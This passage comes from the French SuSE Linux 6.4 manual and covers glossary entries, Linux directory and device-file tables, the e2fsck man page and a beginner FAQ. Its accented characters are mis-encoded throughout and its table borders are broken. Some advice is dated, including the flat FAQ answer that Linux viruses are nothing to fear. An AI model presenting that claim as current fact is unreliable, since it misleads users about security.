sΘlectionner des caractΦres textes sur l'Θcran graphique (en dΘplaτant la
souris, dont le bouton gauche doit Ωtre maintenu enfoncΘ, sur la zone de
texte que l'on veut sΘlectionner). Cette sΘlection peut Ωtre dΘplacΘe vers
une autre application (en plaτant le curseur dans la fenΩtre de l'application
concernΘe et en cliquant sur le bouton central de la souris). Cette opΘration
s'appelle ``couper/coller'' (angl. Cut & Paste).
Serveur
Le serveur est le plus souvent une machine trΦs puissante qui fournit des
donnΘes et des services α d'autres machines (clients) connectΘes au rΘ-
seau. En dehors des machines faisant office de serveurs, il existe Θgale-
ment des programmes qui fournissent des services. De tels programmes
sont aussi appelΘs serveurs car ils tournent en permanence et sont, de ce
fait, tout aussi disponibles que les serveurs matΘriels. Un exemple pour
un serveur logiciel est le + serveur X.
Serveur X
Les machines sur lesquelles tourne un serveur X peuvent utiliser les
services de l'+ interface graphique ou du + systΦme X Window. L'une
des tΓches principales du serveur X est la gestion de l'affichage. Nor-
malement chaque terminal dispose d'une fonction d'affichage dont le
nom est contenu dans la + variable d'environnement DISPLAY qui pos-
sΦde le format <nom de machine> :<numΘro d'affichage>. Par exemple
terre :0 . Il est essentiel de connaεtre le nom de l'affichage pour le
+ Rlogin.
Shell
+ InterprΘteur de commandes
*
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SMP (angl. Symmetric Multi Processing)
+ Multiprocessing.
Swap
+ MΘmoire d'Θchange
SystΦme d'exploitation (angl. operating system)
Le systΦme d'exploitation est un programme qui tourne continuellement
en arriΦre-plan sur une machine et qui constitue la base qui rend possible
tout travail effectuΘ avec la machine. Le systΦme d'exploitation a pour
tΓche de gΘrer toutes les ressources disponibles d'une machine. Sous Li-
nux, c'est le + noyau ainsi que les Θventuels modules du noyau et les pro-
grammes de support sans lesquels le noyau est ``inutile'' qui se chargent de
ces tΓches. Sous SuSE Linux, c'est l'ensemble de la sΘrie a (SystΦme de
base Linux) avec tous ses outils et ses ``dΘmons'' que l'on peut considΘrer
comme Θtant le systΦme d'exploitation. AmigaOS , Linux , MacOS , OS/2
UNIX , Windows NT entre autres sont des systΦmes d'exploitation bien
connus.
SystΦme de fichiers (angl. filesystem)
Un systΦme de fichiers constitue une mΘthode de structuration des fi-
chiers. Il existe un trΦs grand nombre de systΦmes de fichiers dont les
performances respectives sont parfois trΦs diffΘrentes. Certains systΦmes
de fichiers sont Θtroitement liΘs α des types bien prΘcis de support. Il est
difficile de dire : ``Linux utilise le systΦme de fichiers X''.
SystΦme X Window
Il offre toute une collection de programmes, de protocoles et de rou-
tines pour la gestion d'une + interface graphique utilisateur. Le systΦme
X Window (X en abrΘgΘ) a ΘtΘ dΘveloppΘ dans le cadre du projet Athena
au MIT (Massachusetts Institute of Technology). Les principaux avan-
tages de X par rapport α d'autres systΦmes (par exemple MS Windows
ou GEM) sont son support rΘseau et sa flexibilitΘ. Il est ainsi possible
α l'utilisateur de faire exΘcuter des programmes sur d'autres machines
mais d'en obtenir l'affichage sur son propre Θcran et de choisir librement
l'aspect et les caractΘristiques de l'interface. Remarque : Non, il ne s'ap-
pelle pas ``X-Windows'' mais tout simplement et tout bonnement systΦme
X Window.
TΓche (angl. task)
+ Processus.
TΓche de fond (angl. background process)
Si l' + interprΘteur de commandes est (apparemment) occupΘ α une seule
tΓche et ne permet pas d'autres saisies, on parle d'une tΓche exΘcutΘe en
avant-plan. Mais la plupart des interprΘteurs de commandes permettent
aussi l'exΘcution de processus d'arriΦre-plan ou tΓches de fond.
Si un processus doit Ωtre exΘcutΘ en tΓche de fond, la ligne de commande
qui sert α lancer le programme doit se terminer par le caractΦre `&'.
L'exΘcution d'un processus en tΓche de fond n'est toutefois possible que
sur un systΦme d'exploitation + multitΓche.
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Tampon
On entend par tampon une sorte de mΘmoire intermΘdiaire qui permet
d'accΘlΘrer les accΦs frΘquents aux donnΘes qui y sont stockΘes. Sous
Linux il existe plusieurs sortes de mΘmoires tampons.
Task
+ Processus.
Telnet
Telnet est le protocole et la commande permettant de communiquer avec
d'autres machines.
Terminal (angl. terminal)
Sur une machine multiutilisateur, c'est une combinaison clavier/Θcran
sans propres ressources de calcul. Sur les stations de travail, ce terme
dΘsigne aussi des programmes qui Θmulent un vΘritable terminal.
UMSDOS
SystΦme de fichiers spΘcial sous Linux qui permet d'accΘder aux fichiers
de la mΩme maniΦre que sous UNIX (ce qui inclut les noms de fichiers
longs et les droits d'accΦs). Bien que l'accΦs soit plus lent que pour le
systΦme de fichiers EXT2 ``rΘgulier'', le systΦme de fichiers MSDOS est
recommandΘ pour le mode dΘmonstration car il ne nΘcessite pas de parti-
tion particuliΦre.
UNIX
C'est un systΦme d'exploitation trΦs rΘpandu surtout sur les stations de
travail. Unix supportent des concepts importants tels que par exemple le
fonctionnement des machines dans un rΘseau. UNIX est composΘ d'un
noyau, d'un + interprΘteur de commandes et d'applications. Depuis les
annΘes 90, une version libre et gratuite de UNIX pour + PC est disponible
sous la forme de Linux.
URL
``Uniform Resource Locator'', sert par exempleα dΘsigner les pages
HTML sur WWW.
Variable d'environnement (angl. environment variable)
C'est un espace dans l'+ environnement de l'+ interprΘteur de com-
mandes. Chaque variable a un nom, le plus souvent indiquΘ en majus-
cules. Il est assignΘ aux variables d'environnement des valeurs comme par
exemple nom de chemin. Pour l'interprΘteur de commandes bash, ceci se
fait de cette maniΦre :
root@terre:/ > export EDITOR=emacs
Avec la commande env , on peut connaεtre la dΘfinition actuelle des va-
riables. S'il est nΘcessaire de connaεtre la valeur d'une variable, par
exemple dans un script, en y fait rΘfΘrence en faisant prΘcΘder le nom
du caractΦre `$'. Les variables d'environnement essentielles sont HOME
(contient le chemin du rΘpertoire personnel de l'utilisateur), SHELL (che-
min du programme de l'interprΘteur de commandes), USER (nom de l'uti-
lisateur), PATH (chemin d'accΦs aux programmes exΘcutables), MANPATH
(chemin d'accΦs aux pages de man contenant l'aide en ligne).
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* 527
B. Glossaire _________________________________________________________________________________________________________________*
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WAN (angl. wide area network)
+ rΘseau Θtendu
Wildcards
Les deux caractΦres `*' et ` ?' sont des caractΦres gΘnΘriques et sont
dΘsignΘs sous le nom de caractΦres jokers ou wildcards. Le caractΦre ` ?'
tient la place d'un seul caractΦre quelconque tandis que `*' peut rem-
placer n'importe quel nombre de caractΦres quelconques mais peut aussi
n'en remplacer aucun. Les caractΦres jokers sont utilisΘs dans les expres-
sions rΘguliΦres. La commande ls -l image* liste tous les fichiers du
rΘpertoire courant dont le nom est image suivi de n'importe quelles lettres
(ou d'aucune).
528
Annexe C
L'arborescence des rΘpertoires
C.1 Aperτu
La figure ci-dessous vous montre un petit extrait de l'arborescence des rΘper-
toires sous|Linux| *
* |
____________________________________________________________________________________________________________________________*
*______________________||||
|||||||| *
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* |
||||||||____________________________________________________________________________________________________________________*
*______________________ |
*
* 529
C. L'arborescence_des_rΘpertoires_________________________________________________________________________________________________*
*_______________________________________@
C.2 RΘpertoires importants
L'arborescence des rΘpertoires de votre systΦme Linux est structurΘe de faτon
fonctionnelle (``systΦme de fichiers standard''). Les rΘpertoires essentiels sont
dΘcrits dans le tableau C.1.
________________________________________________________________________________________________________*
*________
/ RΘpertoire racine (angl. root directory), point de
dΘpart de l'arborescence des rΘpertoires
/home RΘpertoires (personnels) des utilisateurs
/dev Fichiers de pΘriphΘriques (angl. device files) qui
reprΘsentent les composants matΘriels
/etc Fichiers importants pour la configuration du sys-
tΦme
/usr/bin Commandes accessibles
/bin Commandes dΘjα nΘcessaires au moment de la
mise en marche du systΦme
/usr/sbin Commandes rΘservΘes α l'administrateur sys-
tΦme
/sbin Commandes rΘservΘes α l'administrateur sys-
tΦme et nΘcessaires pour la mise en marche du
systΦme
/sbin/init.d Scripts de dΘmarrage
/usr/include Fichiers essentiels pour le compilateur C
/usr/include/g++ Fichiers essentiels pour le compilateur C++
/usr/doc Divers fichiers de documentation
/usr/man Textes d'aide (pages de manuel)
/usr/src Textes sources des logiciels systΦme
/usr/src/linux Sources du noyau
/tmp Pour fichiers temporaires
/var/tmp Pour fichiers temporaires de grande taille
/usr HΘberge tous les programmes d'application.
Montable en lecture seule. Fichiers de configu-
ration.
/var Fichiers de configuration (par exemple liΘs de-
puis /usr
/var/log Fichiers de traces
/var/adm Administration systΦme
/lib BibliothΦques partagΘes (pour programmes liΘs
dynamiquement)
/proc SystΦme de fichiers de processus
/usr/local Extensions locales, indΘpendantes de la distribu-
tion
/opt Logiciels optionnels, importants systΦmes (par
exemple KDE)
________________________________________________________________________________________________________*
*________
Tab. C.1: Aperτu des rΘpertoires importants
530
Annexe D
Fichiers importants
Le fichier le plus important dans votre systΦme est le + noyau lui-mΩme. Il se
trouve dans le rΘpertoire /boot sous le nom de fichier vmlinuz.
D.1 Fichiers de pΘriphΘriques dans le rΘpertoire /dev
Disquettes et disques durs1 :
______________________________________________________________________________________________________________________
/dev/fd0 premier lecteur de disquettes
/dev/fd1 deuxiΦme lecteur de disquettes
/dev/hda premier disque dur (E)IDE
/dev/hda1 - /dev/hda15 partitions du premier disque dur (E)IDE
/dev/sda premier disque dur SCSI
/dev/sda1 - /dev/sda15 partitions du premier disque dur SCSI
/dev/sdb deuxiΦme disque dur SCSI
/dev/sdc troisiΦme disque dur SCSI
______________________________________________________________________________________________________________________
Tab. D.1: Aperτu des fichiers de pΘriphΘriques de la mΘmoire de masse
D.1.1 Lecteurs de CD-ROM
______________________________________________________________________________________________________________________
/dev/cdrom lien sur le lecteur de CD-ROM utilisΘ, c'est-α-dire sur
l'un des fichiers suivants (crΘΘ par YaST )
/dev/aztcd Aztech CDA268-01 CD-ROM
/dev/cdu535 Sony CDU-535 CD-ROM
/dev/cm206cd Philips CM206
/dev/gscd0 Goldstar R420 CD-ROM
/dev/hda
______________________________________________________________________________________________________________________
___________________Tab._D.2:_Continuer_α_la_page_suivante..._
1 Vous pouvez, en plus des fichiers de pΘriphΘriques mentionnΘs, crΘer vous-mΩme d'autres
fichiers. Vous trouverez des informations α ce sujet dans la page de man concernant mknod .
*
* 531
D. Fichiers importants____________________________________________________________________________________________________________*
*_______________________________________@
_______________________________________________________________________________________________________*
*_________
jusqu'α ATAPI CD-ROM
/dev/hdd
/dev/lmscd Philips CM 205/250/206/260 CD-ROM
/dev/mcd Mitsumi CD-ROM
/dev/sbpcd0
jusqu'α CD-ROM sur carte Soundblaster
/dev/sbpcd3
/dev/scd0 Lecteurs de CD-ROM SCSI
/dev/scd1
etc.
/dev/sonycd CD-ROM Sony CDU 31a
/dev/sjcd CD-ROM Sanyo
/dev/optcd CD-ROM Optics Storage
_______________________________________________________________________________________________________*
*_________
Tab. D.2: Aperτu des fichiers de pΘriphΘriques des lecteurs de CD-ROM
D.1.2 Lecteurs de bandes
_______________________________________________________________________________________________________*
*_________
/dev/rmt0 1er streamer SCSI ``rewinding'' (rembobinage automa-
tique)
/dev/nrmt0 1er streamer SCSI ``non rewinding''(sans rembobinage)
/dev/ftape Floppy tape ``rewinding'' (rembobinage automatique)
/dev/nftape Floppy tape ``non rewinding'' (sans rembobinage)
_______________________________________________________________________________________________________*
*_________
Tab. D.3: Aperτu des fichiers de pΘriphΘriques pour lecteurs de bandes
D.1.3 Souris (Bus et PS/2)
_______________________________________________________________________________________________________*
*_________
/dev/mouse Lien pointant sur l'interface utilisΘe par la sou-
ris, c'est-α-dire sur l'un des pseudo-fichiers suivants
(pour les souris bus) ou sur une interface sΘrie (pour
les souris sΘrie) (crΘΘ par YaST ).
/dev/atibm Souris bus de la carte graphique ATI.
/dev/logibm Souris bus Logitech.
/dev/psaux Souris PS/2.
/dev/inportbm Souris bus PS/2.
/dev/sunmouse Souris SUN.
_______________________________________________________________________________________________________*
*_________
Tab. D.4: Aperτu des fichiers de pΘriphΘriques pour les souris
532
_______________________________________________D.1.__Fichiers_de_pΘriphΘriques_dans_le_rΘpertoire_/dev______________________*
*______________________
D.1.4 Modem
______________________________________________________________________________________________________________________
/dev/modem Lien sur le port COM du modem (crΘΘ par YaST )
______________________________________________________________________________________________________________________
Tab. D.5: Fichier de pΘriphΘrique pour le modem
D.1.5 Interfaces sΘrie
______________________________________________________________________________________________________________________
/dev/ttyS0 interfaces sΘrie 0 α 3
bis (COM1 bis COM4) ;
/dev/ttyS3 jusqu'α ttyS63
etc.
/dev/cua0 depuis la version 2.2.x du noyau,
/dev/cua3 ces interfaces sΘrie sont obsolΦtes
etc. obsolΦte depuis le noyau 2.2.x
______________________________________________________________________________________________________________________
Tab. D.6: Fichiers de pΘriphΘriques pour interfaces sΘrie
D.1.6 Interfaces parallΦles
______________________________________________________________________________________________________________________
/dev/lp0
jusqu'α interfaces parallΦles (LPT1 α LPT3)
/dev/lp2
______________________________________________________________________________________________________________________
Tab. D.7: Fichiers de pΘriphΘriques pour imprimantes sur port parallΦle
*
* 533
D. Fichiers importants____________________________________________________________________________________________________________*
*_______________________________________@
D.1.7 PΘriphΘriques spΘciaux
_______________________________________________________________________________________________________*
*_________
/dev/null ``avale'' autant de donnΘes que vous dΘsirez (poubelle)
/dev/tty1
jusqu'α consoles virtuelles
/dev/tty8
/dev/zero fournit autant d'octets de valeur zΘro que vous dΘsirez
_______________________________________________________________________________________________________*
*_________
Tab. D.8: Fichiers pour pΘriphΘriques spΘciaux/virtuels
D.2 Fichiers de configuration dans /etc
_______________________________________________________________________________________________________*
*_________
/etc/ Informations sur la version SuSE Linux instal-
SuSE-release lΘe.
/etc/rc.config Fichier de configuration central du systΦme. Il
est crΘΘ par YaST et lu par les scripts de dΘmar-
rage de SuSEconfig .
/etc/rc.config.d RΘpertoire contenant d'autres fichiers avec des
variables rc.config.
/etc/inittab Fichier de configuration pour le processus
init .
/etc/lilo.conf Configuration de LILO
/etc/modules.conf Configuration des modules du noyau
/etc/DIR_COLORS DΘtermination des couleurs pour ls
/etc/XF86Config Configuration du systΦme X Window
/etc/fstab Table des systΦmes de fichiers montΘs automa-
tiquement lors de l'initialisation du systΦme
/etc/profile Script de connexion des shells (sh , bash , etc.)
/etc/csh.login Script de connexion de tcsh
/etc/csh.cshrc ParamΘtrages par dΘfaut pour tcsh
/etc/profile.d RΘpertoire dans lequel se trouvent des exten-
sions pour /etc/profile ou /etc/csh.
cshrc
/etc/passwd Base de donnΘes des utilisateurs : Noms d'uti-
lisateurs, rΘpertoires personnels (home) shell de
connexion, numΘro d'identification de l'utilisa-
teur
/etc/shadow Mots de passe
/etc/group Groupes d'utilisateurs
/etc/printcap Description des imprimantes disponibles dans
le systΦme. UtilisΘ par le dΘmon lpd ( page 333).
_______________________________________________________________________________________________________*
*_________
Tab. D.9: Continuer α la page suivante...
534
_________________D.3.__Fichiers_de_configuration_cachΘs_dans_le_rΘpertoire_personnel_(Home)_________________________________*
*______________________
______________________________________________________________________________________________________________________
/etc/hosts Association des noms de machines aux adresses
IP (indispensable en l'absence d'un serveur de
noms).
/etc/inetd.conf DΘfinition des services IP mis α disposition (tel-
net ,finger , ftp etc.).
/etc/syslogd.conf Fichier de configuration pour le dΘmon Syslog
dont la tΓche consiste α signaler certains mes-
sages du systΦme.
______________________________________________________________________________________________________________________
Tab. D.9: Fichiers de configuration dans /etc
D.3 Fichiers de configuration cachΘs dans le rΘpertoire per-
sonnel (Home)
Dans le rΘpertoire personnel de chaque utilisateur, on trouve des fichiers de
configuration qui, pour des raisons pratiques, sont ``cachΘs''. Ils ne sont ΘditΘs
que trΦs rarement. On peut transformer tout fichier en fichier cachΘ en fai-
sant prΘcΘder son nom d'un point. On peut rendre ces fichiers visibles par la
commande ls -a . Quelques exemples se trouvent dans le tableau D.10.
______________________________________________________________________________________________________________________
.profile Script personnel de connexion de l'utilisateur (pour
bash)
.bashrc Configuration de bash
.exrc Configuration de vi, ex
.xinitrc Script de dΘmarrage du systΦme X Window
.fvwmrc Configuration du gestionnaire de fenΩtres fvwm
.ctwmrc Configuration du gestionnaire de fenΩtres ctwm
.openwin-menu Configuration des gestionnaires de fenΩtres olvwm et
olwm
______________________________________________________________________________________________________________________
Tab. D.10: Fichiers cachΘs dans le rΘpertoire personnel de l'utilisateur
Ces fichiers sont copiΘs depuis le rΘpertoire /etc/skel lors de la crΘation
d'un compte utilisateur.
*
* 535
D. Fichiers importants____________________________________________________________________________________________________________*
*_______________________________________@
536
Annexe E
Page de manuel de e2fsck
|||||||| |
|||||||| |
|||||||| |
_______________________________________________________________________________________________________________________||||
|||||||| E2FSCK(8) E2FSCK(8) |
|||||||| |
|||||||| |
|||||||| |
|||||||| NAME |
|||||||| e2fsck - check a Linux second extended file system |
|||||||| |
|||||||| |
|||||||| SYNOPSIS |
|||||||| e2fsck [ -pacnyrdfvstFSV ] [ -b superblock ] [ -B block- |
|||||||| size ] [ -l|-L bad_blocks_file ] device |
|||||||| |
|||||||| |
|||||||| DESCRIPTION |
|||||||| e2fsck is used to check a Linux second extended file |
|||||||| system. |
|||||||| |
|||||||| |
|||||||| device is the special file corresponding to the device |
|||||||| (e.g /dev/hdXX). |
|||||||| |
|||||||| |
|||||||| OPTIONS |
|||||||| -a This option does the same thing as the -p option. |
|||||||| It is provided for backwards compatibility only; it |
|||||||| is suggested that people use -p option whenever |
|||||||| |
|||||||| possible. |
|||||||| |
|||||||| -b superblock |
|||||||| Instead of using the normal superblock, use the |
|||||||| |
|||||||| alternative superblock specified by superblock. |
|||||||| |
|||||||| -B blocksize |
|||||||| Normally, e2fsck will search for the superblock at |
|||||||| |
|||||||| various different block sizes in an attempt to find |
|||||||| the appropriate block size. This search can be |
|||||||| fooled in some cases. This option forces e2fsck to |
|||||||| only try locating the superblock at a particular |
|||||||| |
|||||||| blocksize. If the superblock is not found, e2fsck |
|||||||| will terminate with a fatal error. |
|||||||| |
|||||||| -c This option causes e2fsck to run the badblocks(8) |
|||||||| |
|||||||| program to find any blocks which are bad on the |
|||||||| filesystem, and then marks them as bad by adding |
|||||||| them to the bad block inode. |
|||||||| |
|||||||| |
|||||||| -d Print debugging output (useless unless you are |
|||||||| debugging e2fsck ). |
||||||||_______________________________________________________________________________________________________________ |
~ Continuer α la page suivante
*
* 537
| *
* |
| *
* |
| *
* |
E. Page de manuel_de_e2fsck_______________________________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||||
| *
* |
|| -f Force checking even if the file system seems clean. *
* ||
| *
* |
| -F Flush the filesystem device's buffer caches before *
* |
| beginning. Only really useful for doing e2fsck *
* |
| time trials. *
* |
| *
* |
| *
* |
| -l filename *
* |
| Add the blocks listed in the file specified by *
* |
| filename to the list of bad blocks. *
* |
| *
* |
| *
* |
| -L filename *
* |
| Set the bad blocks list to be the list of blocks *
* |
| specified by filename. (This option is the same as *
* |
| *
* |
| the -l option, except the bad blocks list is *
* |
| cleared before the blocks listed in the file are *
* |
| added to the bad blocks list.) *
* |
| *
* |
| *
* |
| -n Open the filesystem read-only, and assume an answer *
* |
| of ``no'' to all questions. Allows e2fsck to be *
* |
| used non-interactively. (Note: if the -c, -l, or *
* |
| *
* |
| -L options are specified in addition to the -n *
* |
| option, then the filesystem will be opened read- *
* |
| write, to permit the bad-blocks list to be updated. *
* |
| However, no other changes will be made to the *
* |
| *
* |
| filesystem.) *
* |
| *
* |
| -p Automatically repair ("preen") the file system *
* |
| without any questions. *
* |
| *
* |
| *
* |
| -r This option does nothing at all; it is provided *
* |
| only for backwards compatibility. *
* |
| *
* |
| *
* |
| -s This option will byte-swap the filesystem so *
* |
| that it is using the normalized, standard byte- *
* |
| order (which is i386 or little endian). If the *
* |
| filesystem is already in the standard byte-order, *
* |
| *
* |
| e2fsck will take no action. *
* |
| *
* |
| -S This option will byte-swap the filesystem, regard- *
* |
| less of its current byte-order. *
* |
| *
* |
| *
* |
| -t Print timing statistics for e2fsck. If this option *
* |
| is used twice, additional timing statistics are *
* |
| printed on a pass by pass basis. *
* |
| *
* |
| *
* |
| -v Verbose mode. *
* |
| *
* |
| -V Print version information and exit. *
* |
| *
* |
| *
* |
| -y Assume an answer of ``yes'' to all questions; *
* |
| allows e2fsck to be used non-interactively. *
* |
| *
* |
| *
* |
| EXIT CODE *
* |
| The exit code returned by e2fsck is the sum of the *
* |
| following conditions: *
* |
| *
* |
| 0 - No errors *
* |
| 1 - File system errors corrected *
* |
| 2 - File system errors corrected, system should *
* |
|_______________________________________________________________________________________________________*
*________ |
~ Continuer α la page suivante
538
|||||||| |
_______________________________________________________________________________________E.__Page_de_manuel_de_e2fsck________________*
*_______________||||
|||||||| |
_______________________________________________________________________________________________________________________||
|||||||| be rebooted if file system was mounted |
|||||||| |
|||||||| 4 - File system errors left uncorrected |
|||||||| 8 - Operational error |
|||||||| 16 - Usage or syntax error |
|||||||| 128 - Shared library error |
|||||||| |
|||||||| |
|||||||| REPORTING BUGS |
|||||||| Almost any piece of software will have bugs. If you |
|||||||| manage to find a filesystem which causes e2fsck to crash, |
|||||||| |
|||||||| or which e2fsck is unable to repair, please report it to |
|||||||| the author. |
|||||||| |
|||||||| Please include as much information as possible in your bug |
|||||||| |
|||||||| report. Ideally, include a complete transcript of the |
|||||||| e2fsck run, so I can see exactly what error messages are |
|||||||| displayed. If you have a writeable filesystem where the |
|||||||| transcript can be stored, the script(1) program is a handy |
|||||||| |
|||||||| way to save the output of to a file. |
|||||||| |
|||||||| It is also useful to send the output of dumpe2fs(8). If a |
|||||||| |
|||||||| specific inode or inodes seems to be giving e2fsck |
|||||||| trouble, try running the debugfs(8) command and send the |
|||||||| output of the stat command run on the relevant inode(s). |
|||||||| If the inode is a directory, the debugfs dump command |
|||||||| |
|||||||| will allow you to extract the contents of the directory |
|||||||| inode, which can sent to me after being first run through |
|||||||| uuencode(1). |
|||||||| |
|||||||| |
|||||||| Always include the full version string which e2fsck |
|||||||| displays when it is run, so I know which version you are |
|||||||| running. |
|||||||| |
|||||||| |
|||||||| AUTHOR |
|||||||| This version of e2fsck is written by Theodore Ts'o |
|||||||| <tytso@mit.edu>. |
|||||||| |
|||||||| |
|||||||| SEE ALSO |
|||||||| mke2fs(8), tune2fs(8), dumpe2fs(8), debugfs(8) |
|||||||| |
|||||||| |
|||||||| |
|||||||| E2fsprogs version 1.06 October 1996 |
||||||||_______________________________________________________________________________________________________________ |
539
E. Page de manuel_de_e2fsck_______________________________________________________________________________________________________*
*_______________________________________@
540
Annexe F
La FAQ de SuSE Linux
Nous allons tenter ici d'apporter une rΘponse aux questions les plus frΘquem-
ment posΘes (angl. Frequently Asked Questions). Bien qu'il soit possible de
trouver dans le manuel une rΘponse appropriΘe α presque toutes les questions,
il n'est pas toujours facile ~ surtout pour les utilisateurs encore peu familia-
risΘs avec Linux ~ de deviner vers quel chapitre se diriger. C'est pourquoi
nous mentionnons, pour la plupart des rΘponses, le chapitre correspondant du
manuel.
J'ai un vieux SuSE Linux ~ comment le mettre α jour vers 6.4 ?
La voie la plus directe conduit au chapitre 15 page 403 et pages suivantes du
manuel.
Quel est le chapitre le plus important du manuel ?
Pour les dΘbutants c'est sans aucun doute le chapitre 19 page 481. Il ne
remplace cependant un livre sur Linux ! Vous trouverez des livres relatifs α
Linux sous http://www.suse.de/de/produkte/buecher/.
AprΦs l'installation je reτois toujours le message d'erreur "login :" ~
Quel genre d'erreur ai-je fait ?
Vous n'avez fait aucune erreur, l'installation est terminΘe et vous pouvez
vous connecter α votre machine avec votre nom d'utilisateur (angl. username)
et votre mot de passe (``login''). Dans un premier temps, le seul utilisateur
existant est `root'. Voir α ce sujet le paragraphe 19.1 page 482 ainsi que le
paragraphe 3.6.7 page 111.
Je me suis connectΘ mais je ne vois que terre: # ~ Comment puis-je
``entrer'' sous Linux ?
Vous Ωtes dejα sous Linux. Vous voulez probablement lancer l'interface gra-
phique. Pour cela, vous devez d'abord la configurer (par exemple avec SaX ),
dans le cas o∙ cela n'a pas dΘjα ΘtΘ fait au cours de l'installation (para-
graphe 2.1.14 page 26). DΘmarrez ensuite le systΦme graphique (systΦme
X Window) avec startx . ProcΘdez de la maniΦre dΘcrite au chapitre 8
page 239 et pages suivantes.
*
* 541
F. La FAQ de SuSE______Linux______________________________________________________________________________________________________*
*_______________________________________@
Je suis seul α utiliser ma machine. Pourquoi faut-il toujours faire un
login ?
Linux est un systΦme multiutilisateur. La spΘcification du nom d'utilisateur
(angl. username) et du mot de passe est nΘcessaire afin que Linux sache qui
travaille sur le systΦme. Vous ne devriez cependant travailler sous le compte
`root' que lorsque vous avez des modifications α apporter au systΦme (in-
stallation de logiciels, configurations, etc.). Pour les tΓches quotidiennes,
crΘez un compte utilisateur sous lequel vous pourrez travailler sans risquer
de dΘtruire quoi que ce soit dans votre installation.
Dois-je compiler moi-mΩme un noyau ?
Non, dans la majeure partie des cas ce n'est pas nΘcessaire !
Le noyau a maintenant atteint un tel volume qu'il vous faudrait tenir compte
d'environ 800 options lors de la configuration ! Comme il est Θvidemment
impossible de maεtriser toutes ces diffΘrentes configurations et de prΘvoir
tous les effets qu'elles peuvent entraεner, nous dΘconseillons trΦs fortement
aux utilisateurs encore peu aguerris de recompiler le noyau. Si vous tenez
malgrΘ tout α le faire, vous agissez α vos risques et pΘrils ~ et nous n'offrons
pas non plus dans un tel cas d'assistance α l'installation !
Mais pour le support du son il me faut quand mΩme construire un noyau
personnalisΘ ?
Non, depuis le noyau 2.2.x ce n'est plus nΘcessaire. ProcΘdez de la maniΦre
dΘcrite au paragraphe 10.3 page 296 et pages suivantes.
O∙ puis-je obtenir des infos sur SuSE Linux ?
En tout premier lieu dans le manuel s'il s'agit de questions relatives α l'instal-
lation ou α certaines particularitΘs de SuSE Linux. Au sujet des programmes,
vous trouverez une documentation dans /usr/doc/packages et des instruc-
tions dans les ``HowTo'' sous /usr/doc/howto/fr pour les HowTo en fran-
τais et sous /usr/doc/howto/en pour les HowTo en anglais. Vous pourrez
les lire par exemple avec
less /usr/doc/howto/fr/DOS-Win-to-Linux-HOWTO.gz
Sous KDE, vous pouvez aussi lire les fichiers α l'aide du gestionnaire de
fichiers kfm . Il suffit de cliquer et d'entrer la commande kedit en rΘponse α
la question "ouvrir avec :"
O∙ trouver quelques astuces particuliΦres ou quelques textes d'aide ?
Tapez dans un xterm la commande susehelp qui dΘmarre un Netscape.
Sur Internet vous trouverez notre base de donnΘes support avec les derniΦres
mises α jour sous http://sdb.suse.de/sdb/en/html/index.html. En-
trez un mot-clΘ ou faites votre recherche α l'aide de l'``historique''.
542
___________________________________________________________________________________________F.__La_FAQ_de_SuSE______Linux____*
*______________________
Comment puis-je lancer des commandes sous KDE ?
Appuyez sur `K' ~ `Outils' ~ `Terminal'. Vous pouvez aussi appuyer sur
||||||||_ ___
Alt |________+ |F___|2et taper ensuite xterm . Vous avez ainsi un ``terminal'' (que l'on
appelle trΦs souvent aussi de faτon erronΘe fenΩtre DOS) dans lequel vous
pouvez entrer les commandes.
Je ne trouve pas certains programmes dans KDE.
Vous pouvez lancer aussi tous les programmes α partir d'une fenΩtre de termi-
nal (xterm _,_voir_plus haut) en entrant le nom du programme et en appuyant
ensuite sur |_____-|.
Je ne parviens pas α me connecter α ma machine avec telnet . J'obtiens
toujours la rΘponse "Login incorrect".
Vous essayez probablement de vous connecter en tant que `root'. Pour des
raisons de sΘcuritΘ, ceci n'est pas possible avec telnet .
CrΘez avec YaST un compte utilisateur normal (voir paragraphe 3.6.7
page 111) sous lequel vous pourrez vous connecter. Passez ensuite avec su
sous le compte `root'. Il est cependant prΘfΘrable et surtout plus s√r d'uti-
liser le programme ssh en lieu et place de telnet . ssh utilise des connexions
encryptΘes (+ Encryptage) et par consΘquent protΘgΘes. Vous trouverez ce
programme dans la sΘrie sec.
Comment me connecter α Internet avec Linux ?
Vous trouverez des informations α ce sujet dans le manuel au chapitre 5.3
page 171 et pages suivantes.
Les virus sont-ils α craindre sous Linux ?
Non.
Il n'existe pas sous Linux de virus qui soient vΘritablement α craindre (voir
page 469). En outre, les virus ne peuvent pas faire beaucoup de dΘgΓts s'ils
n'ont pas ΘtΘ introduits par l'utilisateur `root'. Les seuls scanners de vi-
rus qui existent sous Linux servent α rechercher les virus Windows dans le
courrier Θlectronique (lorsque Linux fait fonction de routeur).
O∙ puis-je voir les messages du systΦme ?
Lancez, en tant que `root', la commande suivante dans une fenΩtre de ter-
minal :
terre: # tail -f /var/log/messages
D'autres programmes prΘsentant un certain intΘrΩt dans ce contexte sont :
top , procinfo et xosview .
Les messages Θmis au moment de l'amorτage peuvent Ωtre visualisΘs avec
terre: # less /var/log/boot.msg
*
* 543
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*_______________________________________@
O∙ se trouve StarOffice ?
Vous trouverez StarOffice dans le paquetage so_fr α sΘlectionner dans la
sΘrie pay. Pour l'installation, utilisez notre programme YaST qui vous fera
savoir quel CD vous devez insΘrer.
J'ai trouvΘ un bogue dans SuSE Linux. └ qui dois-je le signaler ?
Assurez-vous tout d'abord qu'il s'agit vraiment d'une erreur dans le pro-
gramme et non pas seulement d'une erreur de manipulation ou de configu-
ration. Lisez aussi la documentation dans /usr/doc/packages et /usr/
doc/howto. Il est possible que cette erreur ait dΘjα ΘtΘ constatΘe et que vous
puissiez trouvez quelque chose α ce sujet sur Internet dans notre base de don-
nΘes support sous http://sdb.suse.de/sdb/en/html/index.html. En-
trez un mot-clΘ ou effectuez vos recherches α partir de l'``historique''.
S'il s'agit vΘritablement d'un bogue, envoyez-nous une description par E-
mail α feedback@suse.de. Il est impΘratif dans ce cas de nous faire connaεtre
votre code d'enregistrement.
Comment avoir accΦs α mon CD ?
Vous devez tout d'abord monter le CD. Voir le paragraphe 19.11.2 page 500
du manuel.
Je ne parviens pas α retirer mon CD du lecteur, que dois-je faire ?
Vous devez d'abord dΘmonter le CD. Voir le paragraphe 19.11.2 page 500 du
manuel. Si YaST tourne encore, terminez-le.
Comment obtenir l'affichage de l'espace disponible sous Linux ?
Avec df -h , voir aussi chapitre 19 page 481.
Le ``couper/coller'' est-il possible sous Linux ?
Oui.
